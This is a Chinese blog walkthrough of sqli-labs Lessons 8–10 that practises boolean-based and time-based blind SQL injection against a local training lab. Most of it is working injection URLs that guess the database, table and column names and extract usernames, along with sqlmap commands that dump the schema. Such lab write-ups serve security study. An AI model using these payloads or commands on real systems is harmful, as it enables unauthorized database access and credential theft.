sqli-lab平台注入练习 八,九,十

今天的内容主要都是回顾第五次练习里的内容。虽然没过几天,突然发现自己要注入还需要回顾前面的…

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

首先进行常规测试,发现单引号不能正常回显,双引号可以使页面正常回显,所以判断要用布尔型的盲注了吧。
sqli-lab平台注入练习 八,九,十_第1张图片
之后同第五关,利用布尔型进行注入,再复习一下吧
猜测数据库名字的长度:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+

猜测数据库的名字:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)='security' --+

猜测数据表的名字

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+

猜测数据表中字段名字:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username' --+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+

慢慢慢慢的爆破字段中的内容:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

之后用SQLMap再跑一遍:

查询所有的库名:

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" --dbs

列出表:

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security --tables

列出字段:

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users --columns

列出字段内容:

C:\Python27\sqlmapproject-sqlmap-c8a4e63>python sqlmap.py -u"127.0.0.1/sqli-labs-master/Less-8/?id=1" -D security -T users --columns

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

首先发现无论输入什么,网页显示都是一样的,说明可能会利用时间回显的盲注。
利用时间回显来判断语句正确性

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(3) --+

发现有很明显的延迟:
在这里插入图片描述
之后按常规注入,再过一遍:

判断数据库长度,会看到长度为8时会有很明显的延迟:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

判断数据库的名字:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left(database(),8)='security',sleep(5),1) --+

判断数据库中表的名字:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1) --+

判断数据表中列的名字:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',sleep(5),1) --+
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',sleep(5),1) --+

再慢慢慢慢判断列中的具体内容(一下仅列举了一个):

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1) --+

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

开始还是常规尝试,发现无论输入什么,页面还是一样的,所以想着这应该又应用的是基于时间的盲注
尝试,发现这种情况下有明显的延迟。
sqli-lab平台注入练习 八,九,十_第2张图片
后续步骤同上

你可能感兴趣的:(Web安全sqli-lab)